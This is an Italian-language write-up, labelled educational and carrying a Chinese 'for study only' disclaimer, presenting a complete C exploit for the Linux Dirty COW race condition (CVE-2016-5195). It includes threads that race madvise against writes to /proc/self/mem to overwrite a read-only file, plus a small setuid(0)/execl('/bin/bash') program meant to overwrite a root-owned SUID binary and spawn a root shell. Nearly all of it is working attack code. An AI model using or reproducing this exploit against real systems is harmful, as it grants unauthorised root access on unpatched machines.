
Implementazione educativa dell'exploit di escalation dei privilegi Dirty COW (CVE-2016-5195), inclusi payload di race condition ed escalation a shell root basata su SUID per sistemi Linux.
记录仅以学习为目的,禁止用于非法用途
La vulnerabilità si basa sulla scrittura concorrente di pagine dirty, che modifica il contenuto di file originariamente in sola lettura
Se il file modificato è di proprietà di root e dispone del permesso SUID, è possibile sfruttarlo per l'escalation dei privilegi
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// Utilizzato per memorizzare il contenuto del Payload letto dal file e la sua dimensione
char *payload_buf;
size_t payload_size;
// Thread B: chiama ripetutamente madvise per dire al kernel di scartare la pagina di memoria
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] Thread madvise terminato\n");
return NULL;
}
// Thread A: scrive continuamente dati nella mappatura di sola lettura tramite /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// Scrive il buffer del Payload in memoria
c += write(f, payload_buf, payload_size);
}
printf("[-] Thread /proc/self/mem terminato\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Uso: %s <file di destinazione in sola lettura> <file di input Payload>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Apre e legge il contenuto del file Payload in memoria
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Apertura del file Payload fallita");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Il file Payload è vuoto\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Lettura del file Payload fallita");
return 1;
}
close(pf);
printf("[*] File Payload caricato con successo: %s (dimensione: %zu byte)\n", payload_file, payload_size);
// Mappa il file di destinazione
f = open(name, O_RDONLY);
if (f < 0) {
perror("Apertura del file di destinazione fallita");
return 1;
}
fstat(f, &st);
// Evita che la lunghezza del Payload superi quella del file di destinazione
if (payload_size > st.st_size) {
printf("[!] Avviso: dimensione del Payload (%zu) maggiore della dimensione del file di destinazione (%zu).\n", payload_size, st.st_size);
printf("[!] Secondo la caratteristica di sovrascrittura in-place di Dirty COW, la parte eccedente la dimensione del file di destinazione verrà troncata e scartata dal file system!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Indirizzo di mappatura del file di destinazione: %p\n", map);
// Avvia la race condition
pthread_t pth1, pth2;
printf("[*] Avvio della race condition...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] Race terminata, controlla il contenuto di %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// Ripristina l'identità di root
setuid(0);
setgid(0);
// Apre una bash di root
execl("/bin/bash", "bash", NULL);
return 0;
}